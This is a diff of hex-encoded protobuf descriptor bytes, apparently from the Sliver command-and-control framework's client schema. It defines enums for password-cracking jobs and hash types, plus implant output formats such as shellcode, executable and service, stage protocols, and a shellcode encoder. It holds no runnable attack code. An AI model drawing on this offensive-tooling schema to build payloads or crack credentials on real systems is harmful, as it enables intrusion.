0x55, 0x4e, 0x47, 0x5f, 0x41, 0x4e, 0x44, 0x52, 0x4f, 0x49, 0x44, 0x10, 0xa8, - 0x2d, 0x12, 0x17, 0x0a, 0x11, 0x57, 0x49, 0x4e, 0x44, 0x4f, 0x57, 0x53, 0x5f, 0x48, 0x45, 0x4c, - 0x4c, 0x4f, 0x5f, 0x50, 0x49, 0x4e, 0x10, 0xc4, 0xdb, 0x01, 0x12, 0x12, 0x0a, 0x0d, 0x57, 0x49, - 0x4e, 0x44, 0x4f, 0x57, 0x53, 0x5f, 0x50, 0x48, 0x4f, 0x4e, 0x45, 0x10, 0xe8, 0x6b, 0x12, 0x12, - 0x0a, 0x0d, 0x43, 0x49, 0x53, 0x43, 0x4f, 0x5f, 0x41, 0x53, 0x41, 0x5f, 0x4d, 0x44, 0x35, 0x10, - 0xea, 0x12, 0x12, 0x1c, 0x0a, 0x17, 0x43, 0x49, 0x53, 0x43, 0x4f, 0x5f, 0x49, 0x4f, 0x53, 0x5f, - 0x50, 0x42, 0x4b, 0x44, 0x46, 0x32, 0x5f, 0x53, 0x48, 0x41, 0x32, 0x35, 0x36, 0x10, 0xf0, 0x47, - 0x12, 0x15, 0x0a, 0x10, 0x43, 0x49, 0x53, 0x43, 0x4f, 0x5f, 0x49, 0x4f, 0x53, 0x5f, 0x53, 0x43, - 0x52, 0x59, 0x50, 0x54, 0x10, 0xd4, 0x48, 0x12, 0x12, 0x0a, 0x0d, 0x43, 0x49, 0x53, 0x43, 0x4f, - 0x5f, 0x50, 0x49, 0x58, 0x5f, 0x4d, 0x44, 0x35, 0x10, 0xe0, 0x12, 0x12, 0x1a, 0x0a, 0x15, 0x43, - 0x49, 0x54, 0x52, 0x49, 0x58, 0x5f, 0x4e, 0x45, 0x54, 0x53, 0x43, 0x41, 0x4c, 0x45, 0x52, 0x5f, - 0x53, 0x48, 0x41, 0x31, 0x10, 0xa4, 0x3f, 0x12, 0x1d, 0x0a, 0x17, 0x43, 0x49, 0x54, 0x52, 0x49, - 0x58, 0x5f, 0x4e, 0x45, 0x54, 0x53, 0x43, 0x41, 0x4c, 0x45, 0x52, 0x5f, 0x53, 0x48, 0x41, 0x35, - 0x31, 0x32, 0x10, 0xb8, 0xad, 0x01, 0x12, 0x08, 0x0a, 0x03, 0x44, 0x43, 0x43, 0x10, 0xcc, 0x08, - 0x12, 0x09, 0x0a, 0x04, 0x44, 0x43, 0x43, 0x32, 0x10, 0xb4, 0x10, 0x12, 0x0f, 0x0a, 0x0a, 0x4d, - 0x41, 0x43, 0x4f, 0x53, 0x5f, 0x31, 0x30, 0x5f, 0x38, 0x10, 0xbc, 0x37, 0x12, 0x0c, 0x0a, 0x07, - 0x49, 0x4e, 0x56, 0x41, 0x4c, 0x49, 0x44, 0x10, 0x8f, 0x4e, 0x12, 0x10, 0x0a, 0x0b, 0x42, 0x43, - 0x52, 0x59, 0x50, 0x54, 0x5f, 0x55, 0x4e, 0x49, 0x58, 0x10, 0x80, 0x19, 0x12, 0x16, 0x0a, 0x11, - 0x53, 0x48, 0x41, 0x35, 0x31, 0x32, 0x5f, 0x43, 0x52, 0x59, 0x50, 0x54, 0x5f, 0x55, 0x4e, 0x49, - 0x58, 0x10, 0x88, 0x0e, 0x2a, 0x32, 0x0a, 0x06, 0x53, 0x74, 0x61, 0x74, 0x65, 0x73, 0x12, 0x08, - 0x0a, 0x04, 0x49, 0x44, 0x4c, 0x45, 0x10, 0x00, 0x12, 0x0c, 0x0a, 0x08, 0x43, 0x52, 0x41, 0x43, - 0x4b, 0x49, 0x4e, 0x47, 0x10, 0x01, 0x12, 0x10, 0x0a, 0x0c, 0x49, 0x4e, 0x49, 0x54, 0x49, 0x41, - 0x4c, 0x49, 0x5a, 0x49, 0x4e, 0x47, 0x10, 0x02, 0x2a, 0x3c, 0x0a, 0x0e, 0x43, 0x72, 0x61, 0x63, - 0x6b, 0x4a, 0x6f, 0x62, 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, 0x12, 0x0f, 0x0a, 0x0b, 0x49, 0x4e, - 0x5f, 0x50, 0x52, 0x4f, 0x47, 0x52, 0x45, 0x53, 0x53, 0x10, 0x00, 0x12, 0x0d, 0x0a, 0x09, 0x43, - 0x4f, 0x4d, 0x50, 0x4c, 0x45, 0x54, 0x45, 0x44, 0x10, 0x01, 0x12, 0x0a, 0x0a, 0x06, 0x46, 0x41, - 0x49, 0x4c, 0x45, 0x44, 0x10, 0x02, 0x2a, 0x94, 0x01, 0x0a, 0x0f, 0x43, 0x72, 0x61, 0x63, 0x6b, - 0x41, 0x74, 0x74, 0x61, 0x63, 0x6b, 0x4d, 0x6f, 0x64, 0x65, 0x12, 0x0c, 0x0a, 0x08, 0x53, 0x54, - 0x52, 0x41, 0x49, 0x47, 0x48, 0x54, 0x10, 0x00, 0x12, 0x0f, 0x0a, 0x0b, 0x43, 0x4f, 0x4d, 0x42, - 0x49, 0x4e, 0x41, 0x54, 0x49, 0x4f, 0x4e, 0x10, 0x01, 0x12, 0x0e, 0x0a, 0x0a, 0x42, 0x52, 0x55, - 0x54, 0x45, 0x46, 0x4f, 0x52, 0x43, 0x45, 0x10, 0x03, 0x12, 0x18, 0x0a, 0x14, 0x48, 0x59, 0x42, - 0x52, 0x49, 0x44, 0x5f, 0x57, 0x4f, 0x52, 0x44, 0x4c, 0x49, 0x53, 0x54, 0x5f, 0x4d, 0x41, 0x53, - 0x4b, 0x10, 0x06, 0x12, 0x18, 0x0a, 0x14, 0x48, 0x59, 0x42, 0x52, 0x49, 0x44, 0x5f, 0x4d, 0x41, - 0x53, 0x4b, 0x5f, 0x57, 0x4f, 0x52, 0x44, 0x4c, 0x49, 0x53, 0x54, 0x10, 0x07, 0x12, 0x0f, 0x0a, - 0x0b, 0x41, 0x53, 0x53, 0x4f, 0x43, 0x49, 0x41, 0x54, 0x49, 0x4f, 0x4e, 0x10, 0x09, 0x12, 0x0d, - 0x0a, 0x09, 0x4e, 0x4f, 0x5f, 0x41, 0x54, 0x54, 0x41, 0x43, 0x4b, 0x10, 0x0a, 0x2a, 0x44, 0x0a, - 0x0d, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x69, 0x6e, 0x67, 0x12, 0x14, - 0x0a, 0x10, 0x49, 0x4e, 0x56, 0x41, 0x4c, 0x49, 0x44, 0x5f, 0x45, 0x4e, 0x43, 0x4f, 0x44, 0x49, - 0x4e, 0x47, 0x10, 0x00, 0x12, 0x0f, 0x0a, 0x0b, 0x49, 0x53, 0x4f, 0x5f, 0x38, 0x38, 0x35, 0x39, - 0x5f, 0x31, 0x35, 0x10, 0x01, 0x12, 0x0c, 0x0a, 0x08, 0x55, 0x54, 0x46, 0x5f, 0x33, 0x32, 0x4c, - 0x45, 0x10, 0x02, 0x2a, 0x90, 0x01, 0x0a, 0x12, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x4f, 0x75, 0x74, - 0x66, 0x69, 0x6c, 0x65, 0x46, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x12, 0x12, 0x0a, 0x0e, 0x49, 0x4e, - 0x56, 0x41, 0x4c, 0x49, 0x44, 0x5f, 0x46, 0x4f, 0x52, 0x4d, 0x41, 0x54, 0x10, 0x00, 0x12, 0x0d, - 0x0a, 0x09, 0x48, 0x41, 0x53, 0x48, 0x5f, 0x53, 0x41, 0x4c, 0x54, 0x10, 0x01, 0x12, 0x09, 0x0a, - 0x05, 0x50, 0x4c, 0x41, 0x49, 0x4e, 0x10, 0x02, 0x12, 0x0d, 0x0a, 0x09, 0x48, 0x45, 0x58, 0x5f, - 0x50, 0x4c, 0x41, 0x49, 0x4e, 0x10, 0x03, 0x12, 0x0d, 0x0a, 0x09, 0x43, 0x52, 0x41, 0x43, 0x4b, - 0x5f, 0x50, 0x4f, 0x53, 0x10, 0x04, 0x12, 0x16, 0x0a, 0x12, 0x54, 0x49, 0x4d, 0x45, 0x53, 0x54, - 0x41, 0x4d, 0x50, 0x5f, 0x41, 0x42, 0x53, 0x4f, 0x4c, 0x55, 0x54, 0x45, 0x10, 0x05, 0x12, 0x16, - 0x0a, 0x12, 0x54, 0x49, 0x4d, 0x45, 0x53, 0x54, 0x41, 0x4d, 0x50, 0x5f, 0x52, 0x45, 0x4c, 0x41, - 0x54, 0x49, 0x56, 0x45, 0x10, 0x06, 0x2a, 0x63, 0x0a, 0x14, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x57, - 0x6f, 0x72, 0x6b, 0x6c, 0x6f, 0x61, 0x64, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x12, 0x1c, - 0x0a, 0x18, 0x49, 0x4e, 0x56, 0x41, 0x4c, 0x49, 0x44, 0x5f, 0x57, 0x4f, 0x52, 0x4b, 0x4c, 0x4f, - 0x41, 0x44, 0x5f, 0x50, 0x52, 0x4f, 0x46, 0x49, 0x4c, 0x45, 0x10, 0x00, 0x12, 0x07, 0x0a, 0x03, - 0x4c, 0x4f, 0x57, 0x10, 0x01, 0x12, 0x0b, 0x0a, 0x07, 0x44, 0x45, 0x46, 0x41, 0x55, 0x4c, 0x54, - 0x10, 0x02, 0x12, 0x08, 0x0a, 0x04, 0x48, 0x49, 0x47, 0x48, 0x10, 0x03, 0x12, 0x0d, 0x0a, 0x09, - 0x4e, 0x49, 0x47, 0x48, 0x54, 0x4d, 0x41, 0x52, 0x45, 0x10, 0x04, 0x2a, 0x4e, 0x0a, 0x0d, 0x43, - 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x54, 0x79, 0x70, 0x65, 0x12, 0x10, 0x0a, 0x0c, - 0x49, 0x4e, 0x56, 0x41, 0x4c, 0x49, 0x44, 0x5f, 0x54, 0x59, 0x50, 0x45, 0x10, 0x00, 0x12, 0x0c, - 0x0a, 0x08, 0x57, 0x4f, 0x52, 0x44, 0x4c, 0x49, 0x53, 0x54, 0x10, 0x01, 0x12, 0x09, 0x0a, 0x05, - 0x52, 0x55, 0x4c, 0x45, 0x53, 0x10, 0x02, 0x12, 0x12, 0x0a, 0x0e, 0x4d, 0x41, 0x52, 0x4b, 0x4f, - 0x56, 0x5f, 0x48, 0x43, 0x53, 0x54, 0x41, 0x54, 0x32, 0x10, 0x03, 0x42, 0x2f, 0x5a, 0x2d, 0x67, - 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x62, 0x69, 0x73, 0x68, 0x6f, 0x70, - 0x66, 0x6f, 0x78, 0x2f, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f, - 0x62, 0x75, 0x66, 0x2f, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x62, 0x06, 0x70, 0x72, - 0x6f, 0x74, 0x6f, 0x33, + 0x12, 0x19, 0x0a, 0x08, 0x53, 0x68, 0x61, 0x32, 0x5f, 0x32, 0x35, 0x36, 0x18, 0x06, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x07, 0x53, 0x68, 0x61, 0x32, 0x32, 0x35, 0x36, 0x12, 0x2b, 0x0a, 0x04, 0x54, + 0x79, 0x70, 0x65, 0x18, 0x07, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, + 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x54, 0x79, + 0x70, 0x65, 0x52, 0x04, 0x54, 0x79, 0x70, 0x65, 0x12, 0x22, 0x0a, 0x0c, 0x49, 0x73, 0x43, 0x6f, + 0x6d, 0x70, 0x72, 0x65, 0x73, 0x73, 0x65, 0x64, 0x18, 0x08, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0c, + 0x49, 0x73, 0x43, 0x6f, 0x6d, 0x70, 0x72, 0x65, 0x73, 0x73, 0x65, 0x64, 0x12, 0x20, 0x0a, 0x0b, + 0x4d, 0x61, 0x78, 0x46, 0x69, 0x6c, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, + 0x03, 0x52, 0x0b, 0x4d, 0x61, 0x78, 0x46, 0x69, 0x6c, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x1c, + 0x0a, 0x09, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x0a, 0x20, 0x01, 0x28, + 0x03, 0x52, 0x09, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x30, 0x0a, 0x06, + 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x73, 0x18, 0x64, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x18, 0x2e, 0x63, + 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, + 0x65, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x52, 0x06, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x73, 0x22, 0x64, + 0x0a, 0x0e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x43, 0x68, 0x75, 0x6e, 0x6b, + 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, + 0x12, 0x20, 0x0a, 0x0b, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x49, 0x44, 0x18, + 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, + 0x49, 0x44, 0x12, 0x0c, 0x0a, 0x01, 0x4e, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x01, 0x4e, + 0x12, 0x12, 0x0a, 0x04, 0x44, 0x61, 0x74, 0x61, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x04, + 0x44, 0x61, 0x74, 0x61, 0x2a, 0x5b, 0x0a, 0x0c, 0x4f, 0x75, 0x74, 0x70, 0x75, 0x74, 0x46, 0x6f, + 0x72, 0x6d, 0x61, 0x74, 0x12, 0x0e, 0x0a, 0x0a, 0x53, 0x48, 0x41, 0x52, 0x45, 0x44, 0x5f, 0x4c, + 0x49, 0x42, 0x10, 0x00, 0x12, 0x0d, 0x0a, 0x09, 0x53, 0x48, 0x45, 0x4c, 0x4c, 0x43, 0x4f, 0x44, + 0x45, 0x10, 0x01, 0x12, 0x0e, 0x0a, 0x0a, 0x45, 0x58, 0x45, 0x43, 0x55, 0x54, 0x41, 0x42, 0x4c, + 0x45, 0x10, 0x02, 0x12, 0x0b, 0x0a, 0x07, 0x53, 0x45, 0x52, 0x56, 0x49, 0x43, 0x45, 0x10, 0x03, + 0x12, 0x0f, 0x0a, 0x0b, 0x54, 0x48, 0x49, 0x52, 0x44, 0x5f, 0x50, 0x41, 0x52, 0x54, 0x59, 0x10, + 0x04, 0x2a, 0x2d, 0x0a, 0x0d, 0x53, 0x74, 0x61, 0x67, 0x65, 0x50, 0x72, 0x6f, 0x74, 0x6f, 0x63, + 0x6f, 0x6c, 0x12, 0x07, 0x0a, 0x03, 0x54, 0x43, 0x50, 0x10, 0x00, 0x12, 0x08, 0x0a, 0x04, 0x48, + 0x54, 0x54, 0x50, 0x10, 0x01, 0x12, 0x09, 0x0a, 0x05, 0x48, 0x54, 0x54, 0x50, 0x53, 0x10, 0x02, + 0x2a, 0x2d, 0x0a, 0x08, 0x46, 0x69, 0x6c, 0x65, 0x54, 0x79, 0x70, 0x65, 0x12, 0x0b, 0x0a, 0x07, + 0x4e, 0x4f, 0x5f, 0x46, 0x49, 0x4c, 0x45, 0x10, 0x00, 0x12, 0x0a, 0x0a, 0x06, 0x42, 0x49, 0x4e, + 0x41, 0x52, 0x59, 0x10, 0x01, 0x12, 0x08, 0x0a, 0x04, 0x54, 0x45, 0x58, 0x54, 0x10, 0x02, 0x2a, + 0x30, 0x0a, 0x10, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x45, 0x6e, 0x63, 0x6f, + 0x64, 0x65, 0x72, 0x12, 0x08, 0x0a, 0x04, 0x4e, 0x4f, 0x4e, 0x45, 0x10, 0x00, 0x12, 0x12, 0x0a, + 0x0e, 0x53, 0x48, 0x49, 0x4b, 0x41, 0x54, 0x41, 0x5f, 0x47, 0x41, 0x5f, 0x4e, 0x41, 0x49, 0x10, + 0x01, 0x2a, 0x98, 0x13, 0x0a, 0x08, 0x48, 0x61, 0x73, 0x68, 0x54, 0x79, 0x70, 0x65, 0x12, 0x07, + 0x0a, 0x03, 0x4d, 0x44, 0x35, 0x10, 0x00, 0x12, 0x08, 0x0a, 0x03, 0x4d, 0x44, 0x34, 0x10, 0x84, + 0x07, 0x12, 0x08, 0x0a, 0x04, 0x53, 0x48, 0x41, 0x31, 0x10, 0x64, 0x12, 0x0d, 0x0a, 0x08, 0x53, + 0x48, 0x41, 0x32, 0x5f, 0x32, 0x32, 0x34, 0x10, 0x94, 0x0a, 0x12, 0x0d, 0x0a, 0x08, 0x53, 0x48, + 0x41, 0x32, 0x5f, 0x32, 0x35, 0x36, 0x10, 0xf8, 0x0a, 0x12, 0x0d, 0x0a, 0x08, 0x53, 0x48, 0x41, + 0x32, 0x5f, 0x33, 0x38, 0x34, 0x10, 0xb0, 0x54, 0x12, 0x0d, 0x0a, 0x08, 0x53, 0x48, 0x41, 0x32, + 0x5f, 0x35, 0x31, 0x32, 0x10, 0xa4, 0x0d, 0x12, 0x0e, 0x0a, 0x08, 0x53, 0x48, 0x41, 0x33, 0x5f, + 0x32, 0x32, 0x34, 0x10, 0x94, 0x87, 0x01, 0x12, 0x0e, 0x0a, 0x08, 0x53, 0x48, 0x41, 0x33, 0x5f, + 0x32, 0x35, 0x36, 0x10, 0xf8, 0x87, 0x01, 0x12, 0x0e, 0x0a, 0x08, 0x53, 0x48, 0x41, 0x33, 0x5f, + 0x33, 0x38, 0x34, 0x10, 0xdc, 0x88, 0x01, 0x12, 0x0e, 0x0a, 0x08, 0x53, 0x48, 0x41, 0x33, 0x5f, + 0x35, 0x31, 0x32, 0x10, 0xc0, 0x89, 0x01, 0x12, 0x0f, 0x0a, 0x0a, 0x52, 0x49, 0x50, 0x45, 0x4d, + 0x44, 0x5f, 0x31, 0x36, 0x30, 0x10, 0xf0, 0x2e, 0x12, 0x10, 0x0a, 0x0b, 0x42, 0x4c, 0x41, 0x4b, + 0x45, 0x32, 0x42, 0x5f, 0x32, 0x35, 0x36, 0x10, 0xd8, 0x04, 0x12, 0x1a, 0x0a, 0x15, 0x47, 0x4f, + 0x53, 0x54, 0x5f, 0x52, 0x5f, 0x33, 0x32, 0x5f, 0x31, 0x31, 0x5f, 0x32, 0x30, 0x31, 0x32, 0x5f, + 0x32, 0x35, 0x36, 0x10, 0xb4, 0x5b, 0x12, 0x1a, 0x0a, 0x15, 0x47, 0x4f, 0x53, 0x54, 0x5f, 0x52, + 0x5f, 0x33, 0x32, 0x5f, 0x31, 0x31, 0x5f, 0x32, 0x30, 0x31, 0x32, 0x5f, 0x35, 0x31, 0x32, 0x10, + 0x98, 0x5c, 0x12, 0x14, 0x0a, 0x0f, 0x47, 0x4f, 0x53, 0x54, 0x5f, 0x52, 0x5f, 0x33, 0x34, 0x5f, + 0x31, 0x31, 0x5f, 0x39, 0x34, 0x10, 0xf4, 0x35, 0x12, 0x09, 0x0a, 0x03, 0x47, 0x50, 0x47, 0x10, + 0xf2, 0x84, 0x01, 0x12, 0x0d, 0x0a, 0x08, 0x48, 0x41, 0x4c, 0x46, 0x5f, 0x4d, 0x44, 0x35, 0x10, + 0xec, 0x27, 0x12, 0x10, 0x0a, 0x0a, 0x4b, 0x45, 0x43, 0x43, 0x41, 0x4b, 0x5f, 0x32, 0x32, 0x34, + 0x10, 0xa4, 0x8a, 0x01, 0x12, 0x10, 0x0a, 0x0a, 0x4b, 0x45, 0x43, 0x43, 0x41, 0x4b, 0x5f, 0x32, + 0x35, 0x36, 0x10, 0x88, 0x8b, 0x01, 0x12, 0x10, 0x0a, 0x0a, 0x4b, 0x45, 0x43, 0x43, 0x41, 0x4b, + 0x5f, 0x33, 0x38, 0x34, 0x10, 0xec, 0x8b, 0x01, 0x12, 0x10, 0x0a, 0x0a, 0x4b, 0x45, 0x43, 0x43, + 0x41, 0x4b, 0x5f, 0x35, 0x31, 0x32, 0x10, 0xd0, 0x8c, 0x01, 0x12, 0x0e, 0x0a, 0x09, 0x57, 0x48, + 0x49, 0x52, 0x4c, 0x50, 0x4f, 0x4f, 0x4c, 0x10, 0xd4, 0x2f, 0x12, 0x0c, 0x0a, 0x07, 0x53, 0x49, + 0x50, 0x48, 0x41, 0x53, 0x48, 0x10, 0xf4, 0x4e, 0x12, 0x0f, 0x0a, 0x0b, 0x4d, 0x44, 0x35, 0x5f, + 0x55, 0x54, 0x46, 0x31, 0x36, 0x4c, 0x45, 0x10, 0x46, 0x12, 0x11, 0x0a, 0x0c, 0x53, 0x48, 0x41, + 0x31, 0x5f, 0x55, 0x54, 0x46, 0x31, 0x36, 0x4c, 0x45, 0x10, 0xaa, 0x01, 0x12, 0x13, 0x0a, 0x0e, + 0x53, 0x48, 0x41, 0x32, 0x35, 0x36, 0x5f, 0x55, 0x54, 0x46, 0x31, 0x36, 0x4c, 0x45, 0x10, 0xbe, + 0x0b, 0x12, 0x13, 0x0a, 0x0e, 0x53, 0x48, 0x41, 0x33, 0x38, 0x34, 0x5f, 0x55, 0x54, 0x46, 0x31, + 0x36, 0x4c, 0x45, 0x10, 0xf6, 0x54, 0x12, 0x13, 0x0a, 0x0e, 0x53, 0x48, 0x41, 0x35, 0x31, 0x32, + 0x5f, 0x55, 0x54, 0x46, 0x31, 0x36, 0x4c, 0x45, 0x10, 0xea, 0x0d, 0x12, 0x18, 0x0a, 0x13, 0x42, + 0x4c, 0x41, 0x4b, 0x45, 0x32, 0x42, 0x5f, 0x35, 0x31, 0x32, 0x5f, 0x50, 0x57, 0x5f, 0x53, 0x41, + 0x4c, 0x54, 0x10, 0xe2, 0x04, 0x12, 0x18, 0x0a, 0x13, 0x42, 0x4c, 0x41, 0x4b, 0x45, 0x32, 0x42, + 0x5f, 0x35, 0x31, 0x32, 0x5f, 0x53, 0x41, 0x4c, 0x54, 0x5f, 0x50, 0x57, 0x10, 0xec, 0x04, 0x12, + 0x0f, 0x0a, 0x0b, 0x4d, 0x44, 0x35, 0x5f, 0x50, 0x57, 0x5f, 0x53, 0x41, 0x4c, 0x54, 0x10, 0x0a, + 0x12, 0x0f, 0x0a, 0x0b, 0x4d, 0x44, 0x35, 0x5f, 0x53, 0x41, 0x4c, 0x54, 0x5f, 0x50, 0x57, 0x10, + 0x14, 0x12, 0x15, 0x0a, 0x10, 0x4d, 0x44, 0x35, 0x5f, 0x53, 0x41, 0x4c, 0x54, 0x5f, 0x50, 0x57, + 0x5f, 0x53, 0x41, 0x4c, 0x54, 0x10, 0xd8, 0x1d, 0x12, 0x14, 0x0a, 0x0f, 0x4d, 0x44, 0x35, 0x5f, + 0x53, 0x41, 0x4c, 0x54, 0x5f, 0x4d, 0x44, 0x35, 0x5f, 0x50, 0x57, 0x10, 0xfe, 0x1c, 0x12, 0x0a, + 0x0a, 0x05, 0x43, 0x52, 0x43, 0x33, 0x32, 0x10, 0xec, 0x59, 0x12, 0x0c, 0x0a, 0x06, 0x43, 0x52, + 0x43, 0x33, 0x32, 0x43, 0x10, 0xfc, 0xd9, 0x01, 0x12, 0x10, 0x0a, 0x0a, 0x43, 0x52, 0x43, 0x36, + 0x34, 0x4a, 0x6f, 0x6e, 0x65, 0x73, 0x10, 0xe0, 0xda, 0x01, 0x12, 0x11, 0x0a, 0x0b, 0x4a, 0x41, + 0x56, 0x41, 0x5f, 0x4f, 0x42, 0x4a, 0x45, 0x43, 0x54, 0x10, 0x8c, 0x92, 0x01, 0x12, 0x0c, 0x0a, + 0x06, 0x4d, 0x55, 0x52, 0x4d, 0x55, 0x52, 0x10, 0xe4, 0xc8, 0x01, 0x12, 0x0d, 0x0a, 0x07, 0x4d, + 0x55, 0x52, 0x4d, 0x55, 0x52, 0x33, 0x10, 0x98, 0xd9, 0x01, 0x12, 0x0e, 0x0a, 0x09, 0x54, 0x48, + 0x52, 0x45, 0x45, 0x5f, 0x44, 0x45, 0x53, 0x10, 0x94, 0x6e, 0x12, 0x08, 0x0a, 0x03, 0x44, 0x45, + 0x53, 0x10, 0xb0, 0x6d, 0x12, 0x11, 0x0a, 0x0b, 0x41, 0x45, 0x53, 0x5f, 0x31, 0x32, 0x38, 0x5f, + 0x45, 0x43, 0x42, 0x10, 0xa1, 0xce, 0x01, 0x12, 0x11, 0x0a, 0x0b, 0x41, 0x45, 0x53, 0x5f, 0x31, + 0x39, 0x32, 0x5f, 0x45, 0x43, 0x42, 0x10, 0xa2, 0xce, 0x01, 0x12, 0x11, 0x0a, 0x0b, 0x41, 0x45, + 0x53, 0x5f, 0x32, 0x35, 0x36, 0x5f, 0x45, 0x43, 0x42, 0x10, 0xa3, 0xce, 0x01, 0x12, 0x0f, 0x0a, + 0x0a, 0x43, 0x48, 0x41, 0x5f, 0x43, 0x48, 0x41, 0x5f, 0x32, 0x30, 0x10, 0xa8, 0x78, 0x12, 0x1f, + 0x0a, 0x1a, 0x4c, 0x49, 0x4e, 0x55, 0x58, 0x5f, 0x4b, 0x45, 0x52, 0x4e, 0x45, 0x4c, 0x5f, 0x43, + 0x52, 0x59, 0x50, 0x54, 0x4f, 0x5f, 0x41, 0x50, 0x49, 0x5f, 0x32, 0x34, 0x10, 0xa4, 0x71, 0x12, + 0x0c, 0x0a, 0x07, 0x53, 0x4b, 0x49, 0x50, 0x5f, 0x33, 0x32, 0x10, 0xb4, 0x74, 0x12, 0x14, 0x0a, + 0x0f, 0x50, 0x42, 0x4b, 0x44, 0x46, 0x32, 0x5f, 0x48, 0x4d, 0x41, 0x43, 0x5f, 0x4d, 0x44, 0x35, + 0x10, 0xfc, 0x5c, 0x12, 0x15, 0x0a, 0x10, 0x50, 0x42, 0x4b, 0x44, 0x46, 0x32, 0x5f, 0x48, 0x4d, + 0x41, 0x43, 0x5f, 0x53, 0x48, 0x41, 0x31, 0x10, 0xe0, 0x5d, 0x12, 0x17, 0x0a, 0x12, 0x50, 0x42, + 0x4b, 0x44, 0x46, 0x32, 0x5f, 0x48, 0x4d, 0x41, 0x43, 0x5f, 0x53, 0x48, 0x41, 0x32, 0x35, 0x36, + 0x10, 0x94, 0x55, 0x12, 0x17, 0x0a, 0x12, 0x50, 0x42, 0x4b, 0x44, 0x46, 0x32, 0x5f, 0x48, 0x4d, + 0x41, 0x43, 0x5f, 0x53, 0x48, 0x41, 0x35, 0x31, 0x32, 0x10, 0xc4, 0x5e, 0x12, 0x0b, 0x0a, 0x06, + 0x53, 0x43, 0x52, 0x59, 0x50, 0x54, 0x10, 0xc4, 0x45, 0x12, 0x0b, 0x0a, 0x06, 0x50, 0x48, 0x50, + 0x41, 0x53, 0x53, 0x10, 0x90, 0x03, 0x12, 0x10, 0x0a, 0x0b, 0x54, 0x41, 0x43, 0x41, 0x43, 0x53, + 0x5f, 0x50, 0x4c, 0x55, 0x53, 0x10, 0xe4, 0x7d, 0x12, 0x0f, 0x0a, 0x0a, 0x53, 0x49, 0x50, 0x5f, + 0x44, 0x49, 0x47, 0x45, 0x53, 0x54, 0x10, 0x88, 0x59, 0x12, 0x0c, 0x0a, 0x07, 0x49, 0x4b, 0x45, + 0x5f, 0x4d, 0x44, 0x35, 0x10, 0xb4, 0x29, 0x12, 0x0d, 0x0a, 0x08, 0x49, 0x4b, 0x45, 0x5f, 0x53, + 0x48, 0x41, 0x31, 0x10, 0x98, 0x2a, 0x12, 0x19, 0x0a, 0x13, 0x53, 0x4e, 0x4d, 0x50, 0x5f, 0x56, + 0x33, 0x5f, 0x48, 0x4d, 0x41, 0x43, 0x5f, 0x4d, 0x44, 0x35, 0x5f, 0x39, 0x36, 0x10, 0x8c, 0xc4, + 0x01, 0x12, 0x22, 0x0a, 0x1c, 0x53, 0x4e, 0x4d, 0x50, 0x5f, 0x56, 0x33, 0x5f, 0x48, 0x4d, 0x41, + 0x43, 0x5f, 0x4d, 0x44, 0x35, 0x5f, 0x39, 0x36, 0x5f, 0x5f, 0x53, 0x48, 0x41, 0x31, 0x5f, 0x39, + 0x36, 0x10, 0xa8, 0xc3, 0x01, 0x12, 0x1a, 0x0a, 0x14, 0x53, 0x4e, 0x4d, 0x50, 0x5f, 0x56, 0x33, + 0x5f, 0x48, 0x4d, 0x41, 0x43, 0x5f, 0x53, 0x48, 0x41, 0x31, 0x5f, 0x39, 0x36, 0x10, 0xf0, 0xc4, + 0x01, 0x12, 0x1d, 0x0a, 0x17, 0x53, 0x4e, 0x4d, 0x50, 0x5f, 0x56, 0x33, 0x5f, 0x48, 0x4d, 0x41, + 0x43, 0x5f, 0x53, 0x48, 0x41, 0x32, 0x32, 0x34, 0x5f, 0x31, 0x32, 0x38, 0x10, 0xcc, 0xd0, 0x01, + 0x12, 0x1d, 0x0a, 0x17, 0x53, 0x4e, 0x4d, 0x50, 0x5f, 0x56, 0x33, 0x5f, 0x48, 0x4d, 0x41, 0x43, + 0x5f, 0x53, 0x48, 0x41, 0x32, 0x35, 0x36, 0x5f, 0x31, 0x39, 